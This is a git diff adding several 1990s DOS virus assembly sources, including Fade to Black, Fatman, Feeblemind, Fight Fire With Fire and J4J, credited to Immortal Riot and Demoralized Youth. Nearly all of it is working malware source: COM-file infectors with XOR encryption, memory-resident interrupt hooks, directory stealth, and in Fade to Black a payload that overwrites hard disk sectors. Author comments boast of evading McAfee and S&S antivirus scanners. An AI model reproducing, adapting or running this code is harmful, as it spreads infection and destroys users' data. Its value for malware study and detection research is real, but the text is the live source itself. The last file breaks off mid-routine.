+mov sp,102h ; get the delta offset so tbscan cant +call get_delta ; flag it as flexible entry point +get_delta: +mov bp,word ptr ds:[100h] +mov sp,0fffeh +sub bp,offset get_delta + + +mov ax,0305h ; this code was included to avoid detection +xor bx,bx ; from tbscan. The vsafe disabeling code can +int 16h ; be used as well, but f-prot heuristics + ; complains about it. + +call en_de_crypt ; decrypt the virus +jmp short real_start ; and continue... + +encrypt_value dw 0 ; random xor (encryption) value + +write_virus: + +call en_de_crypt ; write encrypted copy of the virus +mov ah,40 ; +mov cx,code_end-v_start ; # bytes +lea dx,[bp+v_start] ; dx:100h +int 21 ; +call en_de_crypt ; decrypt virus again for further processing +ret + +en_de_crypt: + +mov ax,word ptr [bp+encrypt_value] +lea si,[bp+real_start] +mov cx,(enc_end-real_start+1)/2 + +xor_loopie: + +xor word ptr [si],ax ; encrypts two bytes/loop until all +inc si ; code between real_start and enc_end +inc si ; are encrypted +loop xor_loopie +ret + +real_start: + +cmp word ptr cs:[5dh],'?-' ; check for -? in the command line +jne chk_cond ; no valid virus option! + +mov ah,9 ; tell them that i wrote the virus, +lea dx,[bp+offset v_name] ; and quit without infecting! +int 21h +int 20h + +chk_cond: + +mov ah,2ch ; get time of 1/100 of a second value from +int 21h ; the system clock + +cmp dl,58 ; value == 58h (88d) +jne get_drive ; nope! + +cr_file: ; value = 58h + +mov ah,3ch ; create the file c:\dos\keyb.com +mov cx,0 ; Doh! One byte wasted! +lea dx,[bp+file_create] +int 21h + +xchg ax,bx +mov ah,40h ; write the +mov cx,len ; 80hex virus, +lea dx,[bp+write] ; from this virus +int 21h ; to keyb.com + +mov ah,3eh ; close file +lea dx,[bp+offset file_create] ; c:\dos\keyb.com +int 21h +jmp $ ; and hang + +get_drive: + +mov ah,19h ; get drive from where we are executed from +int 21h ; check if it's a: or b: +cmp al,2 ; if so, return control to the original +jb quit ; program without infecting other files + +lea si,[bp+org_buf] ; copy the first four bytes of the file +mov di,100 ; (from di:100h) to org_buf +movsw ; +movsw ; + +lea dx,[bp+code_end] ; set our own dta to code_end, so +call set_dta ; the paramters when findfiles arent + ; destroyed + +lea dx,[bp+direct_infect] ; if present, infect +call dirinfect ; \dos\edit.com + +mov ah,4e ; search for com files +lea dx,[bp+com_files] ; +find_next: +int 21 + +jc no_more_files ; no more files find, exit! +call infect ; found a find, infect it! + +mov ah,4f ; search next file +jmp short find_next ; and see if we find one + +no_more_files: ; +mov dx,80 ; set the dta to 80h (default) +call set_dta ; + +quit: ; +mov di,100 ; return control to original program +push di ; +ret + +infect: +lea dx,[bp+code_end+1e] ; 1e = adress to filename in ds:dx in our + ; new dta area! +dirinfect: + +mov ax,3d02 ; open file +int 21 ; in read/write mode + +jnc infect_it ; if the file \dos\edit.com doesnt exist +ret ; return, and search first comfile + +infect_it: +xchg bx,ax ; filehandle in bx + +mov ax,5700 ; get time/date +int 21 + +push dx ; save date +push cx ; save time + +mov ah,3f ; read the first four bytes +mov cx,4 ; of the file to org_buf +lea dx,[bp+org_buf] +int 21 + +cmp byte ptr [bp+org_buf+3],07h ; previous infected +jz finish_infect ; + +cmp word ptr [bp+org_buf],9090h ; double nop +jz finish_infect ; + +cmp word ptr [bp+org_buf],5a4dh ; ZM (exe file) +jz finish_infect ; + +cmp word ptr [bp+org_buf],4d5ah ; MZ (exe-file) +jz finish_infect ; + +cmp byte ptr [bp+org_buf+1],6Dh ; command.com +jz finish_infect ; + +mov ax, word ptr [bp+code_end+1ah] ; <1000 bytes +cmp ax,1000d ; +jb finish_infect + +cmp ax,64000d ; >64000 bytes +ja finish_infect ; + +mov ax,4202 ; move file-pointer +xor cx,cx ; to end of file +cwd +int 21 + +sub ax,3 ; substract bytes +mov word ptr [bp+first_four+1],ax ; to our own jump + +get_value: + +mov ah,2ch ; get system clock for +int 21h ; 1/100 of a second +jz get_value ; if zero = get new value +add ax,3 ; this will be used for +mov word ptr [bp+encrypt_value],dx ; the xor-value +call write_virus ; write virus to end of file + +mov ax,4200 ; move file-pointer to +xor cx,cx ; top of file +cwd +int 21 + +mov ah,40 ; write our own jump +mov cx,4 ; instruction to the +lea dx,[bp+first_four] ; beginning +int 21 + +finish_infect: +mov ax,5701 ; set back +pop cx ; time +pop dx ; date +int 21 ; + +mov ah,3e ; close file +int 21 + +ret ; return and continue! + +set_dta: +mov ah,1a ; code to set the disk transfer area +int 21 ; +ret + +v_name db "Faces of Death - (c) 1994 The Unforgiven/Immortal Riot$" + +direct_infect db '\DOS\EDIT.COM',0 +file_create db 'c:\dos\keyb.com',0 + +write db "JNJ!s,!Or +endwrite: + +len equ endwrite-write + +com_files db '*.com',0 +first_four db 0e9,90,90,07 ; buffer to calculate the new entry +org_buf db 90,90,0CDh,20 ; buffer to save the first four bytes +enc_end: + +code_end: +end start diff --git a/f/FADE.ASM b/f/FADE.ASM new file mode 100755 index 0000000..e1baf48 --- /dev/null +++ b/f/FADE.ASM @@ -0,0 +1,343 @@ +; VirusName: Fade to Black +; Country : Sweden +; Author : Metal Militia / Immortal Riot +; Date : 07-29-1993 +; +; This is a mutation of Creeping Tormentor, whick was discovered +; in Feb 1992. The origin is "unknown" (attention Patricica), it's +; written in Sweden by Tormentor / Demoralized Youth +; Many thanx goes to Tormentor for the original code. +; +; This is a Parasite, Resident, Appending COM-files infector. +; Searches for the string sUMsDos (?) in memory. +; search for Jerusalen, and if it's locate it, crash the HD. +; +; This will just fine, and +; McAfee Scan v105 can't find it, and +; S&S Toolkit 6.5 don't find it either. +; +; I haven't tried with scanners like Fprot/Tbscan, +; but they will probably report some virus structure. +; +; Best Regards : [Metal Militia] +; [The Unforgiven] + + +code segment byte public + assume cs:code, ds:code, es:code, ss:code + + + org 100h + + +codebeg: + + + mov ax,0700h ; Remove virus from code! + int 21h ;^-- Scan string (before it was ax,043FFh) + +; Let's allocate some mem! + + mov ax,ds + sub ax,11h + mov ds,ax + cmp byte ptr ds:[0100h],5Ah + jnz skip + mov ax,ds:[0103h] + sub ax,40h + jb skip + mov ds:[0103h],ax + sub word ptr ds:[0112h],50h + mov es,ds:[0112h] + push cs + pop ds + mov cx,code_end-codebeg + mov di,100h + push di + mov si,di + rep movsb + + push es + pop ds + + mov ax,351Ch + int 21h + mov word ptr ds:[int1Cret],bx + mov word ptr ds:[int1Cret+2],es + mov al,21h + int 21h + mov word ptr ds:[real21+1],bx + mov word ptr ds:[real21+3],es + + mov ah,25h + mov dx,offset int21beg + int 21h + mov al,1Ch + mov dx,offset int1Cnew + int 21h + + push cs + push cs + pop es + pop ds + + ret + +skip: int 20h + + +int21beg: push ax + sub ax,4B00h + jz infect + pop ax + cmp ax,0700h ; Check if .... + jne real21 + + mov ax,word ptr ds:[retdata] + mov si,ax + mov di,100h + mov cx,code_end-codebeg + rep movsb + + mov ax,100h + + pop cx + pop cx + push es + push ax + iret + +real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec. + + +retdata: db 00h, 00h + +f_time: dw 0000h + +f_date: dw 0000h + +infect: pop ax + + push ax + push bx + push cx + push di + push ds + push dx + push si + + + mov ah,43h ; Get file attr. + int 21h + mov ax,4301h + and cx,0FEh ; Strip the Read-only-flag + int 21h + + mov ax,3D02h ; Open victim. + int 21h + + xchg ax,bx + + call sub_2 + +sub_2: mov di,sp ; God what I hate that Eskimo! + mov si,ss:[di] + inc sp + inc sp + + push cs + pop ds + + mov ax,5700h ; Get file's time and date + int 21h + mov [si-(sub_2-f_time)],cx + mov [si-(sub_2-f_date)],dx ; And save them... + + mov ah,3Fh ; Read X byte from begin. + mov cx,code_end-codebeg + add si,code_end-sub_2 ; SI points to EOF + mov dx,si + int 21h + + + cmp word ptr [si],'MZ' ; Mark Zimbowski? (EXE?) + je close + cmp word ptr [si],'ZM' ; Zimbowski Mark? (EXE?) + je close +mark: cmp word ptr [si+(mark-codebeg+4)],'' ; infected? + je close + + call put_eof ; move file ptr to EOF + + cmp ax,(0FFFFh-(code_end-codebeg)-100h) + ja close + cmp ax,code_end-codebeg+100h + jb close + + add ax,100h + mov word ptr ds:[si-(code_end-retdata)],ax + + mov ah,40h ; Flytta (move) beg to end. + mov cx,code_end-codebeg + mov dx,si + int 21h + + mov ax,4200h ; fptr to filbeg. + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ; Write virus to beg. + mov cx,code_end-codebeg + mov dx,si + sub dx,cx + int 21h + +close: mov ax,5701h + mov cx,[si-(code_end-f_time)] + mov dx,[si-(code_end-f_date)] + int 21h + + mov ah,3Eh + int 21h ; close file, bx=file handle + + pop si + pop dx + pop ds + pop di + pop cx + pop bx + pop ax + + + jmp real21 + +put_eof: mov ax,4202h + xor dx,dx + xor cx,cx + int 21h + ret + + +int1Cnew: + + push ax + inc byte ptr cs:[counter] + mov al,30h + cmp byte ptr cs:[counter],al + jz scan + pop ax + + +quit: jmp dword ptr cs:[int1Cret] + +scan: + push bx + push cx + push di + push ds + push dx + push es + push si + + + push cs + pop ds + + cld + xor bx,bx + mov byte ptr cs:[counter],bh + mov cx,0FA0h + + mov ax,0b800h + mov es,ax + xor di,di + +again: mov al,byte ptr cs:[text+bx] + sub al,80h + repnz scasb + jnz stick + +maybe: inc di + inc bx + cmp bx,10d + jz beep + + mov al,byte ptr cs:[text+bx] + sub al,80h + scasb + jz maybe + xor bx,bx + jmp again + +beep: + xor cx,cx + mov bx,word ptr cs:[int1Cret] + mov es,word ptr cs:[int1Cret+2] + mov ax,251Ch + int 21h + +overagain: mov dx,0180h + xor bx,bx + +reset: mov ah,00h + inc bx + cmp bl,5h + jz raise + inc cx + int 13h + +hoho: mov ax,0380h + inc cx + int 13h + jc reset + jmp hoho + +raise: xor cx,cx + xor bx,bx + inc dx + cmp dl,85h + jnz hoho + jmp overagain + +stick: + pop si + pop es + pop dx + pop ds + pop di + pop cx + pop bx + pop ax + + + jmp quit + + +counter: db 00h + +text: db 's'+80h, 'U'+80h, 'M'+80h, 's'+80h, 'D'+80h, 'o'+80h + db 's'+80h + + ; This is what it scans the screen for --^ sUMsDos + ; just a little bit cryptic eh ? + +int1Cret: db 0EAh, 00h, 00h, 00h, 00h + +code_end: ; THE END. + +; This isn't really a bullshit note, this is a Metallica Note ;) +; which means quality! Metal Up Your Ass! + +bullshit_note db "Metal Militia / Immortal Riot " + DB "Fade To Black " + DB "Things not what they used to be " + DB "Missing one inside of me " + DB "Deathly lost, this can't be real " + DB "Cannot stand this hell I feel... " + +code ends +end codebeg + +; Think that would be it.. + \ No newline at end of file diff --git a/f/FATMAN.ASM b/f/FATMAN.ASM new file mode 100755 index 0000000..cda3c10 --- /dev/null +++ b/f/FATMAN.ASM @@ -0,0 +1,81 @@ +code segment'code' +assume cs:code, ds:code, ss:code, es:code +org 100h +dta equ endcode + 10 +fatmanid equ 34 +start: + + jmp virus + hoststart: + db 90h,90h,90h ;NOP + db 0cdh,020h,1ah,1ah ;INT 20 + hostend: + virus: + call $ + 2 +fatman: + pop bp ;Search for next files + sub bp,offset fatman + mov ah,1ah + lea dx,[bp +dta] + int 21h + mov ah,4eh + lea dx,[bp + filespec] + xor cx,cx +fileloop: + int 21h + jc quit + mov ax,3d02h ;Open file read and write + lea dx,[bp + offset dta + 30] ;Move the offset of filename + int 21h ;into dx register + jc quit + xchg bx,ax + mov ah,3fh ;read from file + mov cx,4 ;read 4 bytes off file + lea dx,[bp + orgjmp] ;store the 4 bytes + int 21h + mov ax,4202h ;point to end of file + xor cx,cx + xor dx,dx + int 21h + sub ax,03h ;Back three bytes from org + mov [bp + newjmp + 2], ah ;high location + mov [bp + newjmp + 1], al ;low location + mov [bp + newjmp + 3], fatmanid;his ID + mov ah,0e9h ;JMP + mov [bp + newjmp],ah + mov ah,40h ;write to file + mov cx,endcode - virus + lea dx,[bp + virus] + jc quit + mov ax,4200h ;Moving to TOP of file + xor cx,cx + xor dx,dx + int 21h + mov ah,40h ;writing 4 bytes to top of file + mov cx,4 + lea dx,[bp + offset newjmp] + int 21h + mov ah,1ah + mov dx,080h + int 21h + quit: + lea si,[bp + offset thisjmp] + mov di,0100h + mov cx,04h + cld + rep movsb + mov di,0100h + jmp di + + + + + filespec db '*.COM',0 + orgjmp db 4 dup (?) + newjmp db 4 dup (?) + thisjmp db 4 dup (?) + oldjmp db 09h,0cdh,020h,90h + endcode: + + code ends + end start diff --git a/f/FEEBLE.A86 b/f/FEEBLE.A86 new file mode 100755 index 0000000..fbfa4b3 --- /dev/null +++ b/f/FEEBLE.A86 @@ -0,0 +1,120 @@ +; +; Feeblemind +; +Start: Jmp Install + +Old21 Dd 0 + +Org21 Dd 0 + +Inc10: Add Ah,10h +Eoi: Jmp Dword Ptr Cs:[Org21] + +New21: Sub Ah,10h + Cmp Ax,3b00h + Jne Inc10 + Push Ax + Push Bx + Push Cx + Push Dx + Push Ds + Push Es + Push Si + Push Di + Mov Ax,3d02h + Pushf + Call Dword ptr Cs:[Old21] + Xchg Ax,Bx + Mov Ah,30h + Add Ah,10h + Mov Cx,VLen + Lea Dx,Start + Mov Ds,Cs + Pushf + Call Dword ptr Cs:[Old21] + Mov Ah,3eh + Pushf + Call Dword Ptr Cs:[old21] + Pop Di + Pop Si + Pop Es + Pop Ds + Pop Dx + Pop Cx + Pop Bx + Pop Ax + Jmp EOI + + Db '[Feeblemind]' + +Install: Mov Ax,3501h + Int 21h + Mov Word Ptr Cs:[Old1],Bx + Mov Word Ptr Cs:[Old1][2],Es + Mov Ax,2501h + Mov Ds,Cs + Lea Dx,New1 + Int 21h + + Cli + Pushf + Pop Ax + Or Ah,1 + Push Ax + Popf + Sti + + Mov Ah,30h + Int 21h + + Cli + Pushf + Pop Ax + And Ah,0feh + Push Ax + Popf + Sti + + Mov Ds,Word ptr Cs:[Old1][2] + Mov Dx,Word ptr Cs:[Old1] + Mov Ax,2501h + Int 21h + + Mov Ax,1521h + Add Ah,20h + Int 21h + Mov Word Ptr Cs:[Org21],Bx + Mov Word Ptr Cs:[Org21][2],Es + + Mov Ax,1521h + Add Ah,10h + Mov Ds,Cs + Lea Dx,New21 + Int 21h + Lea Dx,EndByte + Int 27h + +Old1 Dd 0 + +New1: Push Bp + Mov Bp,Sp + + Cmp Word Ptr Ss:[Bp][4],116h + Jne Einde + Push Ax + Mov Ax,Ss:[Bp][4] + Mov Word Ptr Cs:[Old21][2],Ax + Mov Ax,Ss:[Bp][2] + Mov Word Ptr Cs:[Old21],Ax + And Word Ptr Ss:[Bp][6],0fffeh + Pop Ax +Einde: Pop Bp + Iret + +Endbyte Db 0 +Vlen Equ $-Start + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/f/FFIRE.ASM b/f/FFIRE.ASM new file mode 100755 index 0000000..ad36bab --- /dev/null +++ b/f/FFIRE.ASM @@ -0,0 +1,256 @@ +; VirusName: Fight Fire With Fire +; Country : Sweden +; Author : Metal Militia / Immortal Riot +; Date : 07-22-1993 +; +; This is an mutation of 7th-son from 'Unknown'. +; Many thanks to the scratch coder of 7th-son. +; +; We've tried this virus ourself, and it works just fine. +; Non-overwriting, adds 473 to any comfile over 1701 bytes, +; in current directory. No bugs have been reported. +; Originally from the Netherlands, in 1991. +; +; This is the second real mutation of 7th-son. +; +; McAfee Scan v105 can't find it, and +; S&S Toolkit 6.5 don't find it either. +; +; I haven't tried with scanners like Fprot/Tbscan, +; but they will probably report some virus structure. +; +; Best Regards : [Metal Militia] +; [The Unforgiven] + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + +FILELEN equ quit - start +MINTARGET equ 1701 ; MINIMUM bytes of file to infect +MAXTARGET equ -(FILELEN+40h) ; MAX bytes of file to infect + + org 100h + + .RADIX 16 + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + +begin: db 5Dh + jmp start + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + +start: call start2 +start2: pop bp + push cs + sub bp,0103h + + lea si,[bp+offset begbuf-4] ;restore begin of file + mov di,0100h + movsw + movsw + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + mov dx,offset ni24 - 4 ;set new int24 vector + add dx,bp + mov ax,2524h + int 21 + + lea dx,[bp+offset quit] ;set new DTA adres + mov ah,1Ah + int 21 + add dx,1Eh + mov word ptr [bp+offset nameptr-4],dx + + lea si,[bp+offset grandfather-4] ;check generation + cmp [si],0808h + jne verder + + lea dx,[bp+offset sontxt-4] ;9th son of a 9th son! + mov ah,09h + int 21 + +verder: mov ax,[si] ;update generations + xchg ah,al + xor al,al + mov [si],ax + + lea dx,[bp+offset filename-4] ;find first COM-file + xor cx,cx + mov ah,4Eh + int 21 + +infloop: mov dx,word ptr [bp+offset nameptr-4] + call infect + + mov ah,4Fh ;find next file + int 21 + jnc infloop + + pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + push cs + push cs + pop ds + pop es + mov ax,0100h ;put old start-adres on stack + push ax + + ret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov ax,4300h ;ask attributes + int 21 + push cx + + xor cx,cx ;clear flags + call setattr + jc return1 + + mov ax,3D02h ;open the file + int 21 + jc return1 + xchg bx,ax + + mov ax,5700h ;get file date & time + int 21 + push cx + push dx + + mov cx,4 ;read begin of file + lea dx,[bp+offset begbuf-4] + mov ah,3fh + int 21 + + mov al,byte ptr [bp+begbuf-4] ;already infected? + cmp al,5Dh + je return2 + cmp al,5Ah ;or a weird EXE? + je return2 + + call endptr ;get file-length + + cmp ax,MAXTARGET ;check length of file + jnb return2 + cmp ax,MINTARGET + jbe return2 + + push ax + mov cx,FILELEN ;write program to end of file + lea dx,[bp+offset start-4] + mov ah,40h + int 21 + cmp ax,cx ;are all bytes written? + pop ax + jnz return2 + + sub ax,4 ;calculate new start-adres + mov word ptr [bp+newbeg-2],ax + + call beginptr ;write new begin of file + mov cx,4 + lea dx,[bp+offset newbeg-4] + mov ah,40h + int 21 + + inc byte ptr [si] ;number of next son + +return2: pop dx ;restore file date & time + pop cx + mov ax,5701h + int 21 + + mov ah,3Eh ;close the file + int 21 + +return1: pop cx ;restore file-attribute +; call setattr + +; ret + + +;**************************************************************************** +;* Changes file-attributes +;**************************************************************************** + +setattr: mov dx,word ptr [bp+offset nameptr-4] + mov ax,4301h + int 21 + ret + + +;**************************************************************************** +;* Subroutines for file-pointer +;**************************************************************************** + +beginptr: mov ax,4200h ;go to begin of file + jmp short ptrvrdr + +endptr: mov ax,4202h ;go to end of file +ptrvrdr: xor cx,cx + xor dx,dx + int 21 + ret + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +begbuf db 0CDh, 20h, 0, 0 +newbeg db 5Dh, 0E9h, 0, 0 +nameptr dw ? +sontxt db 'Fight Fire With Fire...',0Dh, 0Ah, '$' ;printed after +grandfather db 0 ;XX infections +father db 0 +filename db '*.COM',0 ; File(s) to infect + db 'Soon to fill our lungs the hot winds of death ' + db 'The gods are laughing, so take your last breath ' + db ']`xu ' + db 'Immortal Riot..Death Greets me warm..' + +quit: + +cseg ends + end begin + +  \ No newline at end of file diff --git a/f/FIL.ASM b/f/FIL.ASM new file mode 100755 index 0000000..62314ce --- /dev/null +++ b/f/FIL.ASM @@ -0,0 +1,909 @@ +;J4J - Jump For Joy, released 31 Jan 92, (c) Charlie of Demoralized Youth +;------------------------------------------------------------------------ +;This source has been lying around for a veeeeeery long time, and I will +;*NOT* continue to make newer versions of J4J, so that is the reason +;why I release the source. +; +;It's been 'bout a month since my last glance on it, so it's maybe full +;of bugs, but anyways; assemble with A86 +; +;Some idea's were taken from Omicron / FLIP B (Just the startup), but +;the rest was done by CHARLIE of DEMORALIZED YOUTH! +; +;Fuck this code up however you like... + + tsr_bytes equ 1024 + tsr_para equ (4096 / 16) + +cpt1 equ $ + + mov ax,1991 + mov bx,ax + mov cx,ax + add ax,13881 + int 21h + cmp ax,cx + je fail + + cmp sp,-10h + jb fail + + mov ax,cs + dec ax + mov es,ax + cmp byte es:[0000h],'Z' + jne fail + + mov ax,es:[0003h] + sub ax,tsr_para + jc fail + + mov es:[0003h],ax + sub word ptr es:[0012h],tsr_para + mov es,es:[0012h] + + call $+3 + +cpt3 equ $ + + pop si + mov bx,si + sub si,(cpt3-cpt1) + add si,(cpt4-cpt1) + push cs + push si + + mov si,bx + sub si,(cpt3-cpt1) + mov cx,offset total-100h + mov di,100h + push es + rep movsb + mov di,17Dh+2 + push di + + retf +cpt4 equ $ + +fail: + mov ax,100h + push ax + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor si,si + xor di,di + xor bp,bp + push cs + push cs + pop es + pop ds + mov word [100h],20CDh +rpl1 equ $-2 + mov byte [102h],90h +rpl2 equ $-1 + ret + +cpt2 equ $ + + +jmp init + + +fcb_open dw offset fcb_open_cont +exec dw offset back +open_handle dw offset back + +new_int_21: +pushf + +cmp ah,0Fh ;open file using FCB's +jne not_open_fcb + +call fcb_to_asciiz +push dx +push ds + +push cs +pop ds +mov dx,offset file + +push cs:[fcb_open] +jmp file_main + +fcb_open_cont: +pop ds +pop dx +jmp back + +not_open_fcb: +;cmp ah,4Eh +;je handle_dir +;cmp ah,4Fh +;je handle_dir + +cmp ah,11h +je fcb_dir +cmp ah,12h +je fcb_dir + +cmp ah,3Eh +jne clodd +cmp bx,1991 +jne clodd +xchg ax,bx +popf +iret + +clodd: +cmp ah,3Dh +jne last_chance +push cs:[open_handle] +jmp file_main + +last_chance: +cmp ax,4B00h +jne back + +push cs:[exec] +jmp file_main + +back: +popf +db 0EAh +old_int_21 dw 0,0 + +handle_dir: +popf +call int21 + +pushf +jnc back_handle_dir + +cmp ax,0 +jne back_handle_dir + +call stealth_dir_handle +sti + +back_handle_dir: +popf +iret + +fcb_dir: +popf +call int21 + +pushf +cmp al,00h +jne back_fcb_dir + +call stealth_dir_fcb +sti + +back_fcb_dir: +popf +iret + +fcb_fname equ 80h+1 +fcb_fext equ 80h+1+8 + +f_attr equ 80h+15h +f_time equ 80h+16h +f_date equ 80h+18h +f_size equ 80h+1Ah +f_asciiz equ 80h+1Eh + +f_handle equ 80h +f_head_buffer equ 80h+2 +f_tail_buffer equ 80h-3 +f_type equ 80h+6 + + +repl0: db 0E8h,?,? ;call ???? + +;repl1: db 0C7h,6,0,1,?,? ;mov word [0100h],???? +; db 0C6h,6,2,1,? ;mov byte [0102h],?? + +repl2: push bp + mov bp,sp + sub word [bp+2],3 + pop bp + +repl3: + + +db 'Elo, Elo, lam sabaktni?' + +file_main: +pushf +;call other_file_type_check +;jnc file_main_pr1 +jmp file_main_pr1 + +popf +jmp back + +file_main_pr1: +push ax +push bx +push cx +push dx +push si +push di +push bp +push es +push ds + +push cs +pop es + +mov si,dx +mov di,offset file +cld +mov cx,65 +rep movsb + +push cs +pop ds + +call setup_24 + +;call cpu_check +;cmp ax,1 +;je file_slutt + +call file_info_get +jc file_is_done + +call mekke_fil + +file_is_done: +call file_info_set + +file_slutt: + +call rest_24 + +pop ds +pop es +pop bp +pop di +pop si +pop dx +pop cx +pop bx +pop ax +popf +ret ;jmp back + +file db 65 dup(0) + +old_dta dw ?,? + +file_info_get: + mov ah,2Fh ;get DTA address + call int21 + mov old_dta[2],es + mov old_dta[0],bx + mov ah,1Ah ;set DTA address + push cs + pop ds + mov dx,80h + call int21 + + mov ah,4Eh ;FIND FIRST (get info about + mov cx,1+2+32 ;our file) + mov dx,offset file + call int21 + jnc file_info_get_ok + stc + ret + + stc + ret +file_info_get_ok: + clc + + test word [f_attr],4 ;is the System attr. set? + jnz offset file_info_get_ok-2 ;yeah, so don't do it.. + + cmp word [fcb_fname],'OC' ;like in: COmmand.com + je offset file_info_get_ok-2 ;the command-interpreter + + cmp word [fcb_fname],'BI' ;like in: IBmbio.com and IBmdos.com + je offset file_info_get_ok-2 ;the startup files for IBM-dos + + cmp word [fcb_fext],'YS' ;like in: country.SYs + je offset file_info_get_ok-2 ;device drivers and .SYS files + + mov ax,4301h ;set attribute + xor cx,cx ;attr=0 + mov dx,offset file + call int21 + + mov ax,3D02h ;open file + mov dx,offset file + call int21 + jnc fig_open +fig_fail: + stc + ret +fig_open: + mov [f_handle],ax + + mov bx,ax + mov ah,3Fh ;read from file + mov cx,3 ;3 bytes + mov dx,f_head_buffer + call int21 + jnc fig_read + jmp fig_fail + +fig_read: + cmp ax,3 + jne fig_fail + + mov ax,4200h + xor cx,cx + mov dx,[f_size] + sub dx,3 + mov bx,[f_handle] + call int21 + + mov ah,3Fh + mov cx,3 + mov dx,f_tail_buffer + call int21 + + cmp word [f_size+2],0 + + jnz fig_fail + cmp [f_size],60000 + ja fig_fail + + cmp word [f_head_buffer],'MZ' ;EXE 'ZM' ? + je file_is_exe + cmp word [f_head_buffer],'ZM' ;EXE 'MZ' ? + je file_is_exe + cmp word [f_head_buffer],-1 ;Device Driver ? + je fig_fail + + mov byte [f_type],0 ;filetype = COM + clc + ret +file_is_exe: + mov byte [f_type],1 ;filetype = EXE + clc + ret + +file_info_set: + mov ah,1Ah ;set DTA address + mov dx,old_dta[0] + mov bx,old_dta[2] + mov ds,bx + call int21 + + push cs + pop ds + + mov ax,4301h ;restore ATTRibutes + mov cx,[f_attr] + mov dx,offset file + call int21 + + mov ax,5701h ;restore DATE & TIME + mov bx,[f_handle] + mov cx,[f_time] + and cl,255-31 + or cl,30 + mov dx,[f_date] + call int21 + + mov ah,3Eh ;close file + mov bx,[f_handle] + call int21 + ret + +db '--?!?' + +mekke_fil: + cmp [f_size],1023 + ja not_one_n0 + stc + ret + +not_one_n0: + cmp byte ptr [f_type],0 + je not_one_n1 + stc + ret + +not_one_n1: + cmp word ptr [f_tail_buffer],'4J' + jne not_one + stc + ret + +not_one: + mov ax,[f_size] ;calculate CALL + sub ax,3 ;length + mov repl0[1],ax + + mov ax,word [f_head_buffer] + mov bl,byte [f_head_buffer]+2 + + mov [offset rpl1],ax + mov [offset rpl2],bl +; mov word ptr repl1[4],ax ;restore orig bytes +; mov repl1[10],bl ;after CALL... + + mov ax,4200h ;seek to file_start + mov bx,[f_handle] + xor cx,cx + mov dx,cx + call int21 + + mov ah,40h ;write CALL XXXX + mov bx,[f_handle] + mov cx,3 ;3 bytes + mov dx,offset repl0 + call int21 + + mov ax,4202h ;seek to EOF + mov bx,[f_handle] + xor cx,cx + mov dx,cx + call int21 + +; mov ah,40h ;write startup-code +; mov bx,[f_handle] +; mov cx,(offset repl3)-offset repl1 +; ;???? bytes +; mov dx,offset repl1 +; call int21 +; jc replace_them_now + + mov ah,40h ;write main code + mov bx,[f_handle] + mov cx,offset total-100h + mov dx,100h + call int21 + jc $+2+1+1 + clc + ret + +replace_them_now: + mov ax,4200h ;seek to beginning + mov bx,[f_handle] ;of the file + xor cx,cx + mov dx,cx + call int21 + + mov ah,40h ;error, so write + mov bx,[f_handle] ;back 3 first bytes + mov cx,3 + mov dx,f_head_buffer + call int21 + stc + ret + + +db 'Charlie says: Support ()DEMORALIZED YOUTH() ' + +;;************************************************************* +;;* CPU checker, coded by Data Disruptor / RABiD Nat'nl Corp. * +;;************************************************************* +;cpu_check: +; xor ax,ax +; push ax +; popf +; pushf +; pop ax +; and ax,0f000h +; cmp ax,0f000h +; je mc_8086 +; mov ax,0f000h +; push ax +; popf +; pushf +; pop ax +; and ax,0f000h +; jz mc_80286 +; mov ax,3 +; ret +;mc_80286: +; mov ax,2 +; ret +;mc_8086: +; mov ax,1 +; ret + + +;*************************************** +; +; Call previously saved Int 21h Handler +; +;*************************************** +int21: + pushf + call dword ptr cs:old_int_21 + ret + +;********************************************** +; +; Int 24h (Critical Error Handler) Code & Data +; +;********************************************** + err dw 0 + + old_24 dw ?,? + new_24: inc cs:err + mov al,0 + stc + iret + +;**************************************************************** +; +; Fix so that Int 24h (Critical Error Handler) won't display the +; "abort, retry, fail?" message +; +;**************************************************************** +setup_24: + xor ax,ax + mov ds,ax + + les bx,[24h*4] + + push cs + pop ds + + mov word ptr old_24[0],bx + mov word ptr old_24[2],es + + mov ds,ax + mov word ptr [24h*4],offset new_24 + mov word ptr [24h*4+2],cs + + push cs + push cs + pop es + pop ds + ret + +;********************************************************** +; +; Restore original Int 24h (Critical Error Handler) vector +; +;********************************************************** +rest_24: + les bx,cs:old_24 + + xor ax,ax + mov ds,ax + + mov word ptr [24h*4],bx + mov word ptr [24h*4+2],es + + push cs + pop ds + ret + + +;********************************************************* +; +; Check if the filename has got an extension of .COM or +; .EXE. Returns with CY if not a valid filetype, or NC if +; it is a valid one. +; +;********************************************************* +other_fail: + pop bp + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + stc ;return with CY + ret + +other_file_type_check: ;here the main routine starts + pushf + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + push bp + + mov di,dx + push ds + pop es + + cld + mov cx,127 + xor al,al + repnz scasb + jne other_fail + dec di + dec di + dec di + dec di + dec di + + xchg si,di + lodsb + cmp al,'.' + jne other_fail + + lodsw + and ax,0DFDFh + cmp ax,'OC' + je other_okfil + cmp ax,'XE' + je other_okfil + jmp other_fail + +other_okfil: + lodsb + and al,0DFh + cmp al,'M' + je other_okfil2 + cmp al,'E' + jne other_fail + +other_okfil2: + pop bp + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + clc ;return with NC + ret + + +stealth_dir_handle: + jc done_stealthing_handle + + pushf + push ax + push bx + push cx + push dx + push si + push di 